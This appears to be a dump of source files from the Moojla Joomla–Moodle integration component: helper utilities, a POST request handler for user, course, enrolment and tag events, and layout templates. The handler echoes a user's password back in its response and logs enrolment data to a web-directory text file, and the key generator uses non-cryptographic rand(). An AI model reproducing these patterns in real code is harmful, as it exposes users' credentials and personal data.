	 * @param   array      $attributes   The array of attributes
	 * @param   array      $options      The options to apply to the XML
element
	 *
	 * @return  object
	 *
	 */
	public static function getFieldXML(&$attributes, $options = null)
	{
		// make sure we have attributes and a type value
		if (self::checkArray($attributes))
		{
			// start field xml
			$XML = new SimpleXMLElement('<field/>');
			// load the attributes
			self::xmlAddAttributes($XML, $attributes);
			// check if we have options
			if (self::checkArray($options))
			{
				// load the options
				self::xmlAddOptions($XML, $options);
			}
			// return the field xml
			return $XML;
		}
		return false;
	}

	/**
	 * Render Bool Button
	 *
	 * @param   array   $args   All the args for the button
	 *                             0) name
	 *                             1) additional (options class) // not used
at this time
	 *                             2) default
	 *                             3) yes (name)
	 *                             4) no (name)
	 *
	 * @return  string    The input html of the button
	 *
	 */
	public static function renderBoolButton()
	{
		$args = func_get_args();
		// check if there is additional button class
		$additional = isset($args[1]) ? (string) $args[1] : ''; // not
used at this time
		// button attributes
		$buttonAttributes = array(
			'type' => 'radio',
			'name' => isset($args[0]) ? self::htmlEscape($args[0]) :
'bool_button',
			'label' => isset($args[0]) ?
self::safeString(self::htmlEscape($args[0]), 'Ww') : 'Bool
Button', // not seen anyway
			'class' => 'btn-group',
			'filter' => 'INT',
			'default' => isset($args[2]) ? (int) $args[2] : 0);
		// set the button options
		$buttonOptions = array(
			'1' => isset($args[3]) ? self::htmlEscape($args[3]) :
'JYES',
			'0' => isset($args[4]) ? self::htmlEscape($args[4]) :
'JNO');
		// return the input
		return self::getFieldObject($buttonAttributes,
$buttonAttributes['default'], $buttonOptions)->input;
	}

	/**
	 * Check if have an json string
	 *
	 * @input	string   The json string to check
	 *
	 * @returns bool true on success
	 */
	public static function checkJson($string)
	{
		if (self::checkString($string))
		{
			json_decode($string);
			return (json_last_error() === JSON_ERROR_NONE);
		}
		return false;
	}

	/**
	 * Check if have an object with a length
	 *
	 * @input	object   The object to check
	 *
	 * @returns bool true on success
	 */
	public static function checkObject($object)
	{
		if (isset($object) && is_object($object))
		{
			return count((array)$object) > 0;
		}
		return false;
	}

	/**
	 * Check if have an array with a length
	 *
	 * @input	array   The array to check
	 *
	 * @returns bool/int  number of items in array on success
	 */
	public static function checkArray($array, $removeEmptyString = false)
	{
		if (isset($array) && is_array($array) && ($nr =
count((array)$array)) > 0)
		{
			// also make sure the empty strings are removed
			if ($removeEmptyString)
			{
				foreach ($array as $key => $string)
				{
					if (empty($string))
					{
						unset($array[$key]);
					}
				}
				return self::checkArray($array, false);
			}
			return $nr;
		}
		return false;
	}

	/**
	 * Check if have a string with a length
	 *
	 * @input	string   The string to check
	 *
	 * @returns bool true on success
	 */
	public static function checkString($string)
	{
		if (isset($string) && is_string($string) &&
strlen($string) > 0)
		{
			return true;
		}
		return false;
	}

	/**
	 * Check if we are connected
	 * Thanks https://stackoverflow.com/a/4860432/1429677
	 *
	 * @returns bool true on success
	 */
	public static function isConnected()
	{
		// If example.com is down, then probably the whole internet is down,
since IANA maintains the domain. Right?
		$connected = @fsockopen("www.example.com", 80); 
                // website, port  (try 80 or 443)
		if ($connected)
		{
			//action when connected
			$is_conn = true;
			fclose($connected);
		}
		else
		{
			//action in connection failure
			$is_conn = false;
		}
		return $is_conn;
	}

	/**
	 * Merge an array of array's
	 *
	 * @input	array   The arrays you would like to merge
	 *
	 * @returns array on success
	 */
	public static function mergeArrays($arrays)
	{
		if(self::checkArray($arrays))
		{
			$arrayBuket = array();
			foreach ($arrays as $array)
			{
				if (self::checkArray($array))
				{
					$arrayBuket = array_merge($arrayBuket, $array);
				}
			}
			return $arrayBuket;
		}
		return false;
	}

	// typo sorry!
	public static function sorten($string, $length = 40, $addTip = true)
	{
		return self::shorten($string, $length, $addTip);
	}

	/**
	 * Shorten a string
	 *
	 * @input	string   The you would like to shorten
	 *
	 * @returns string on success
	 */
	public static function shorten($string, $length = 40, $addTip = true)
	{
		if (self::checkString($string))
		{
			$initial = strlen($string);
			$words = preg_split('/([\s\n\r]+)/', $string, null,
PREG_SPLIT_DELIM_CAPTURE);
			$words_count = count((array)$words);

			$word_length = 0;
			$last_word = 0;
			for (; $last_word < $words_count; ++$last_word)
			{
				$word_length += strlen($words[$last_word]);
				if ($word_length > $length)
				{
					break;
				}
			}

			$newString	= implode(array_slice($words, 0, $last_word));
			$final	= strlen($newString);
			if ($initial != $final && $addTip)
			{
				$title = self::shorten($string, 400 , false);
				return '<span class="hasTip"
title="'.$title.'"
style="cursor:help">'.trim($newString).'...</span>';
			}
			elseif ($initial != $final && !$addTip)
			{
				return trim($newString).'...';
			}
		}
		return $string;
	}

	/**
	 * Making strings safe (various ways)
	 *
	 * @input	string   The you would like to make safe
	 *
	 * @returns string on success
	 */
	public static function safeString($string, $type = 'L', $spacer
= '_', $replaceNumbers = true, $keepOnlyCharacters = true)
	{
		if ($replaceNumbers === true)
		{
			// remove all numbers and replace with english text version (works well
only up to millions)
			$string = self::replaceNumbers($string);
		}
		// 0nly continue if we have a string
		if (self::checkString($string))
		{
			// create file name without the extention that is safe
			if ($type === 'filename')
			{
				// make sure VDM is not in the string
				$string = str_replace('VDM', 'vDm', $string);
				// Remove anything which isn't a word, whitespace, number
				// or any of the following caracters -_()
				// If you don't need to handle multi-byte characters
				// you can use preg_replace rather than mb_ereg_replace
				// Thanks @Łukasz Rysiak!
				// $string = mb_ereg_replace("([^\w\s\d\-_\(\)])",
'', $string);
				$string = preg_replace("([^\w\s\d\-_\(\)])", '',
$string);
				// http://stackoverflow.com/a/2021729/1429677
				return preg_replace('/\s+/', ' ', $string);
			}
			// remove all other characters
			$string = trim($string);
			$string = preg_replace('/'.$spacer.'+/', '
', $string);
			$string = preg_replace('/\s+/', ' ', $string);
			// Transliterate string
			$string = self::transliterate($string);
			// remove all and keep only characters
			if ($keepOnlyCharacters)
			{
				$string = preg_replace("/[^A-Za-z ]/", '',
$string);
			}
			// keep both numbers and characters
			else
			{
				$string = preg_replace("/[^A-Za-z0-9 ]/", '',
$string);
			}
			// select final adaptations
			if ($type === 'L' || $type === 'strtolower')
			{
				// replace white space with underscore
				$string = preg_replace('/\s+/', $spacer, $string);
				// default is to return lower
				return strtolower($string);
			}
			elseif ($type === 'W')
			{
				// return a string with all first letter of each word uppercase(no
undersocre)
				return ucwords(strtolower($string));
			}
			elseif ($type === 'w' || $type === 'word')
			{
				// return a string with all lowercase(no undersocre)
				return strtolower($string);
			}
			elseif ($type === 'Ww' || $type === 'Word')
			{
				// return a string with first letter of the first word uppercase and
all the rest lowercase(no undersocre)
				return ucfirst(strtolower($string));
			}
			elseif ($type === 'WW' || $type === 'WORD')
			{
				// return a string with all the uppercase(no undersocre)
				return strtoupper($string);
			}
			elseif ($type === 'U' || $type === 'strtoupper')
			{
					// replace white space with underscore
					$string = preg_replace('/\s+/', $spacer, $string);
					// return all upper
					return strtoupper($string);
			}
			elseif ($type === 'F' || $type === 'ucfirst')
			{
					// replace white space with underscore
					$string = preg_replace('/\s+/', $spacer, $string);
					// return with first caracter to upper
					return ucfirst(strtolower($string));
			}
			elseif ($type === 'cA' || $type === 'cAmel' || $type
=== 'camelcase')
			{
				// convert all words to first letter uppercase
				$string = ucwords(strtolower($string));
				// remove white space
				$string = preg_replace('/\s+/', '', $string);
				// now return first letter lowercase
				return lcfirst($string);
			}
			// return string
			return $string;
		}
		// not a string
		return '';
	}

	public static function transliterate($string)
	{
		// set tag only once
		if (!self::checkString(self::$langTag))
		{
			// get global value
			self::$langTag =
JComponentHelper::getParams('com_moojla')->get('language',
'en-GB');
		}
		// Transliterate on the language requested
		$lang = Language::getInstance(self::$langTag);
		return $lang->transliterate($string);
	}

	public static function htmlEscape($var, $charset = 'UTF-8',
$shorten = false, $length = 40)
	{
		if (self::checkString($var))
		{
			$filter = new JFilterInput();
			$string = $filter->clean(html_entity_decode(htmlentities($var,
ENT_COMPAT, $charset)), 'HTML');
			if ($shorten)
			{
                                return self::shorten($string,$length);
			}
			return $string;
		}
		else
		{
			return '';
		}
	}

	public static function replaceNumbers($string)
	{
		// set numbers array
		$numbers = array();
		// first get all numbers
		preg_match_all('!\d+!', $string, $numbers);
		// check if we have any numbers
		if (isset($numbers[0]) && self::checkArray($numbers[0]))
		{
			foreach ($numbers[0] as $number)
			{
				$searchReplace[$number] = self::numberToString((int)$number);
			}
			// now replace numbers in string
			$string = str_replace(array_keys($searchReplace),
array_values($searchReplace),$string);
			// check if we missed any, strange if we did.
			return self::replaceNumbers($string);
		}
		// return the string with no numbers remaining.
		return $string;
	}

	/**
	 * Convert an integer into an English word string
	 * Thanks to Tom Nicholson
<http://php.net/manual/en/function.strval.php#41988>
	 *
	 * @input	an int
	 * @returns a string
	 */
	public static function numberToString($x)
	{
		$nwords = array( "zero", "one", "two",
"three", "four", "five", "six",
"seven",
			"eight", "nine", "ten",
"eleven", "twelve", "thirteen",
			"fourteen", "fifteen", "sixteen",
"seventeen", "eighteen",
			"nineteen", "twenty", 30 => "thirty",
40 => "forty",
			50 => "fifty", 60 => "sixty", 70 =>
"seventy", 80 => "eighty",
			90 => "ninety" );

		if(!is_numeric($x))
		{
			$w = $x;
		}
		elseif(fmod($x, 1) != 0)
		{
			$w = $x;
		}
		else
		{
			if($x < 0)
			{
				$w = 'minus ';
				$x = -$x;
			}
			else
			{
				$w = '';
				// ... now $x is a non-negative integer.
			}

			if($x < 21)   // 0 to 20
			{
				$w .= $nwords[$x];
			}
			elseif($x < 100)  // 21 to 99
			{ 
				$w .= $nwords[10 * floor($x/10)];
				$r = fmod($x, 10);
				if($r > 0)
				{
					$w .= ' '. $nwords[$r];
				}
			}
			elseif($x < 1000)  // 100 to 999
			{
				$w .= $nwords[floor($x/100)] .' hundred';
				$r = fmod($x, 100);
				if($r > 0)
				{
					$w .= ' and '. self::numberToString($r);
				}
			}
			elseif($x < 1000000)  // 1000 to 999999
			{
				$w .= self::numberToString(floor($x/1000)) .' thousand';
				$r = fmod($x, 1000);
				if($r > 0)
				{
					$w .= ' ';
					if($r < 100)
					{
						$w .= 'and ';
					}
					$w .= self::numberToString($r);
				}
			} 
			else //  millions
			{    
				$w .= self::numberToString(floor($x/1000000)) .' million';
				$r = fmod($x, 1000000);
				if($r > 0)
				{
					$w .= ' ';
					if($r < 100)
					{
						$w .= 'and ';
					}
					$w .= self::numberToString($r);
				}
			}
		}
		return $w;
	}

	/**
	 * Random Key
	 *
	 * @returns a string
	 */
	public static function randomkey($size)
	{
		$bag =
"abcefghijknopqrstuwxyzABCDDEFGHIJKLLMMNOPQRSTUVVWXYZabcddefghijkllmmnopqrstuvvwxyzABCEFGHIJKNOPQRSTUWXYZ";
		$key = array();
		$bagsize = strlen($bag) - 1;
		for ($i = 0; $i < $size; $i++)
		{
			$get = rand(0, $bagsize);
			$key[] = $bag[$get];
		}
		return implode($key);
	}
}
helpers/moojlaRequestHandler.php000064400000036370151165724400013065
0ustar00<?php

	define( '_JEXEC', 1 );
	define( 'JPATH_BASE',
realpath(dirname(__FILE__).'/../../../..' ));

	require_once ( JPATH_BASE. '/includes/defines.php' );
	require_once ( JPATH_BASE. '/includes/framework.php' );
	$mainframe = JFactory::getApplication('site');
  
	
  $params = JComponentHelper::getParams('com_moojla');
  $joomla_token = trim($params->get('joomla_token'));
  $filename = __DIR__ . "/moojlaRequestHandler.txt";
  // file_put_contents($filename, "joomla_token =
".print_r($joomla_token, true)."\n", FILE_APPEND);
  // file_put_contents($filename, "joomla_token form moodle =
".print_r($_POST["joomla_token"], true)."\n",
FILE_APPEND);
  if(!isset($_POST["joomla_token"]) || $joomla_token !=
$_POST["joomla_token"] || $joomla_token == '')
  {
    echo '{"status":"nok",
"result":"invalid joomla token"}';
    die();
  }
	if(isset($_POST["moojlaFunction"]))
	{
		$moojlaFunction = $_POST["moojlaFunction"];
		switch($moojlaFunction)
		{
			case "onMoojlaUserCreated":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
        $filename = __DIR__ . "/onMoojlaUserCreated.txt";
				$postArray	= json_decode($_POST["data"], true);
				$data		= $postArray["data"];
        // file_put_contents($filename, "data = ".print_r($data,
true)."\n", FILE_APPEND);
				$results	= $dispatcher->trigger("onMoojlaUserCreated",
array($data));
				if($results[0]->status == "ok")
				{
					$object				= new stdClass();
					$object->id			= $results[0]->id;
					$object->password	= $data["password"];
					
					$result = JFactory::getDbo()->updateObject('#__users',
$object, 'id');
				}
				echo json_encode($results[0]); // output
				break;

			case "onMoojlaUserDeleted":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray	= json_decode($_POST["data"], true);
				$id			= $postArray["id"];
				
				$results = $dispatcher->trigger("onMoojlaUserDeleted",
array($id));
				echo json_encode($results[0]); // output
				break;

			case "onMoojlaUserUpdated":
      
      
        $filename = __DIR__ . "/onMoojlaUserUpdated.txt";
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray	= json_decode($_POST["data"], true);
        // file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
				$id			= $postArray["id"];
				$data		= $postArray["data"];
				
				$results = $dispatcher->trigger("onMoojlaUserUpdated",
array($data, $id));
        
				if($results[0]->status == "ok")
				{
					$object				= new stdClass();
					$object->id			= $results[0]->id;
					$object->password	= $data["password"];
					$result = JFactory::getDbo()->updateObject('#__users',
$object, 'id');
          $results[0]->rawpassword = $data["password"];
				}
				echo json_encode($results[0]); // output
				break;

			case "onMoojlaUserLogin":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
				$username		= $postArray["username"];
				$password		= $postArray["password"];
				$from_joomla	= $postArray["from_joomla"];
				
				$results = $dispatcher->trigger("onMoojlaUserLogin",
array($username, $password, $from_joomla));
				echo json_encode($results); // output
				break;

			case "onMoojlaUserLogout":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
				$username		= $postArray["username"];
				$from_moodle	= $postArray["from_moodle"];
				
				$results		= $dispatcher->trigger("onMoojlaUserLogout",
array($username, $from_moodle));
				echo json_encode($results); // output
				break;
			
			case "onMoojlaCourseCreated":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
				$filename = __DIR__ . "/onMoojlaCourseCreated.txt";
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);

				$results		= $dispatcher->trigger("onMoojlaCourseCreated",
array($postArray));
				echo json_encode($results); // output
				break;

      case "onMoojlaCourseUpdated":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
				$filename = __DIR__ . "/onMoojlaCourseUpdated.txt";
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
				$dispatcher->trigger("updateCourseGroups",
array($postArray["course_id"],
$postArray["course_shortname"]));
				$results		= $dispatcher->trigger("onMoojlaCourseUpdated",
array($postArray));
				echo json_encode($results); // output
				break;
      
      
      case "onMoojlaCreateGroup":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
        $postArray		= json_decode($_POST["data"], true);
        $filename = __DIR__ . "/onMoojlaCreateGroup.txt";
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
        $results		= $dispatcher->trigger("addCourseGroups",
array($postArray["course_id"],
$postArray["course_shortname"]));
				echo json_encode($results); // output
        break;
      case "onMoojlaCourseDeleted":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
				$filename = __DIR__ . "/onMoojlaCourseDeleted.txt";
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
				
				
				$results		= $dispatcher->trigger("onMoojlaCourseDeleted",
array($postArray["course_id"]));
				echo json_encode($results); // output
				break;
      
      case "onMoojlaCourseContentCreated":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"]);
        $data		= $postArray->data;
        $id		= $postArray->id;
				$filename = __DIR__ . "/onMoojlaCourseContentCreated.txt";
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);

				$results		=
$dispatcher->trigger("onMoojlaCourseContentCreated",
array($data, $id));
				echo json_encode($results); // output
				break;
      
      case "onMoojlaEnrolInstanceCreated":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
        $data		= $postArray["data"];
				$filename = __DIR__ . "/coures_data.txt";
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
        
				$results		= $dispatcher->trigger("onEnrolmentMethodAdded",
array($data));
				echo json_encode($results); // output
				break;
        
      case "onMoojlaEnrolInstanceUpdated":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
        $data		= $postArray["data"];
				$filename = __DIR__ . "/onMoojlaEnrolInstanceUpdated.txt";
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
        
				$results		=
$dispatcher->trigger("onEnrolmentMethodUpdated",
array($data));
				echo json_encode($results); // output
				break;
        
      case "onMoojlaEnrolInstanceDeleted":
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
        $data		= $postArray["data"];
				// $filename = __DIR__ . "/coures_data.txt";
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
				$results		=
$dispatcher->trigger("onEnrolmentMethodDeleted",
array($data));
				echo json_encode($results); // output
				break;
      
      case "onMoojlaRoleAssigned":
				$filename = __DIR__ . "/onMoojlaRoleAssigned.txt";
				$postArray		= json_decode($_POST["data"], true);
        $course_id		= $postArray["course_id"];
        $user_id      = $postArray["userid"];
        $roleid      = $postArray["roleid"];
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$results		= $dispatcher->trigger("addGroupMember",
array($course_id, $user_id, $roleid));
				// file_put_contents($filename, "results =
".print_r($results, true)."\n", FILE_APPEND);
				echo json_encode($results); // output
				break;
      
      case "onMoojlaRoleUnassigned":
				$filename = __DIR__ . "/onMoojlaRoleUnassigned.txt";
				$postArray		= json_decode($_POST["data"], true);
        $course_id		= $postArray["course_id"]; 
        $user_id      = $postArray["userid"];
        $roleid       = $postArray["roleid"];
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$results		= $dispatcher->trigger("removeGroupMember",
array($course_id, $user_id, $roleid));
				echo json_encode($results); // output
				break;
      
			case "onMoojlaTagAdded":
				JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$filename = __DIR__ . "/onMoojlaTagAdded.txt";
				$postArray		= json_decode($_POST["data"], true);
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND); 
				$data		= $postArray["data"];
				$course_id	= $data['itemid'];
				$tag_id			= $data['tagid'];
				$tag_name			= $data['tagname'];
				$is_standard			= $data['isstandard'];
				
				$results		= $dispatcher->trigger("onMoojlaTagAdded",
array($course_id, $tag_id, $tag_name, $is_standard));
				echo json_encode($results); // output
				break;
      
      case "onMoojlaTagRemoved":
				JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$filename = __DIR__ . "/onMoojlaTagRemoved.txt";
				$postArray		= json_decode($_POST["data"], true);
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND); 
				$data		= $postArray["data"];
				$course_id	= $data['itemid'];
				$tag_id			= $data['tagid'];
				$tag_name			= $data['tagname'];
				
				$results		= $dispatcher->trigger("onMoojlaTagRemoved",
array($course_id, $tag_id, $tag_name));
				echo json_encode($results); // output
				break;
        
        
      case "onMoojlaTagUpdated":
				JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$filename = __DIR__ . "/onMoojlaTagUpdated.txt";
				$postArray		= json_decode($_POST["data"], true);
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND); 
				$data		= $postArray["data"];
				$tag_id			= $data['tagid'];
				$tag_name			= $data['tagname'];
				$is_standard			= $data['isstandard'];
				
				$results		= $dispatcher->trigger("onMoojlaTagUpdated",
array($tag_id, $tag_name, $is_standard));
				echo json_encode($results); // output
				break;
        
      case "onMoojlaTagDeleted":
				JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$filename = __DIR__ . "/onMoojlaTagDeleted.txt";
				$postArray		= json_decode($_POST["data"], true);
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND); 
				$data		= $postArray["data"];
				$tag_id			= $data['tagid'];
				
				$results		= $dispatcher->trigger("onMoojlaTagDeleted",
array($tag_id));
				echo json_encode($results); // output
				break;
				
			case "onMoojlaEnrolled":
				$filename = __DIR__ . "/onMoojlaEnrolled.txt";
				$postArray		= json_decode($_POST["data"], true);
        $course_id		= $postArray["course_id"];
        $user_id      = $postArray["userid"];
        $roleid      = $postArray["roleid"];
        $timecreated      = $postArray["timecreated"];
				file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$results		= $dispatcher->trigger("addEnrolment",
array($course_id, $user_id, $roleid, $timecreated));
				// file_put_contents($filename, "results =
".print_r($results, true)."\n", FILE_APPEND);
				echo json_encode($results); // output

				JPluginHelper::importPlugin("notifly");
				$dispatcher = JEventDispatcher::getInstance();
				$args = array('com_moojla.enrol', $postArray, true);
				$dispatcher->trigger("onContentAfterSave", $args);
				break;
      
      case "onMoojlaUnenrolled":
				$filename = __DIR__ . "/onMoojlaUnenrolled.txt";
				$postArray		= json_decode($_POST["data"], true);
        $course_id		= $postArray["course_id"]; 
        $user_id      = $postArray["userid"];
        $roleid       = $postArray["roleid"];
				// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
        JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$results		= $dispatcher->trigger("removeEnrolment",
array($course_id, $user_id, $roleid));
				echo json_encode($results); // output
				break;
				
			case "onMoojlaCourseCategoryCreated":
				$filename = __DIR__ . "/onMoojlaCourseCategoryCreated.txt";
				JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
				$filename = __DIR__ . "/onMoojlaCourseCreated.txt";
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);

				$results		=
$dispatcher->trigger("createCourseCategoryWithParents",
array($postArray));
				echo json_encode($results); // output
				break;
				
			case "onMoojlaCourseCategoryUpdated":
				$filename = __DIR__ . "/onMoojlaCourseCategoryUpdated.txt";
				JPluginHelper::importPlugin("moojlaevents");
        $dispatcher = JEventDispatcher::getInstance();
				$postArray		= json_decode($_POST["data"], true);
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);

				$results		= $dispatcher->trigger("updateCourseCategory",
array($postArray));
				echo json_encode($results); // output
				break;
			
      case "onMoojlaSubmitted":
				$filename = __DIR__ . "/onMoojlaSubmitted.txt";
				JPluginHelper::importPlugin("moojlaquiz");
        $dispatcher		=	JEventDispatcher::getInstance();
				$postArray		=	json_decode($_POST["data"])->data;
				$quizid				=	$postArray->quizid;
				$quiztype			=	$postArray->quiztype;
				
				// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
				if(is_array($postArray->result) &&
!empty($postArray->result))
				{					
					$result = $postArray->result[0];
					$dispatcher->trigger("addQuizAttempt", array($quiztype,
$result, $quizid));
				}
				// echo json_encode($results); // output
				break;
        
			default: //onMoojlaEnrolInstanceDeleted
				$filename = __DIR__ . "/switch_result.txt";
				// file_put_contents($filename, "moojlaFunction =
$moojlaFunction\n", FILE_APPEND);
		}
	}
?>layouts/batchselection.php000064400000004770151165724400011761
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		batchselection.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('JPATH_BASE') or die;

JHtmlBehavior::core();
$divWrapper = range(1,120,2);
$counter = 0;
?>
<?php if ($displayData->ListSelection) : ?>
<div class="row-fluid">
	<?php foreach ($displayData->ListSelection as $ListSelection) :
?>
    <div class="control-group span6">
    	<div class="controls">
		<label for="<?php echo $ListSelection['name'];
?>" class="element-invisible"><?php echo
$ListSelection['label']; ?></label>
		<select name="<?php echo $ListSelection['name'];
?>" id="<?php echo $ListSelection['name'];
?>" class="span12 small">
			<?php if (!$ListSelection['noDefault']) : ?>
				<option value=""><?php echo
$ListSelection['label']; ?></option>
			<?php endif; ?>
			<?php echo $ListSelection['options']; ?>
		</select>
      	</div>
	</div>
		<?php if (in_array($counter,$divWrapper)) : ?>
</div>
<div class="row-fluid">
		<?php endif; ?>
        <?php $counter++; ?>
	<?php endforeach; ?>
</div>
<div class="control-group radio"
id="batch-move-copy">
	<div class="controls">
        <label class="radio"
id="batch[move_copy]c-lbl" for="batch[move_copy]c">
        <input type="radio" value="c"
id="batch[move_copy]c"
name="batch[move_copy]"><?php echo
JText::_('Copy'); ?></label>
        <label class="radio"
id="batch[move_copy]m-lbl" for="batch[move_copy]m">
        <input type="radio" checked="checked"
value="m" id="batch[move_copy]m"
name="batch[move_copy]"><?php echo
JText::_('Update'); ?></label>
    </div>
</div>
<?php endif;
?>layouts/category_map/details_left.php000064400000004272151165724400014100
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'jcatid'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/category_map/details_right.php000064400000004273151165724400014264
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
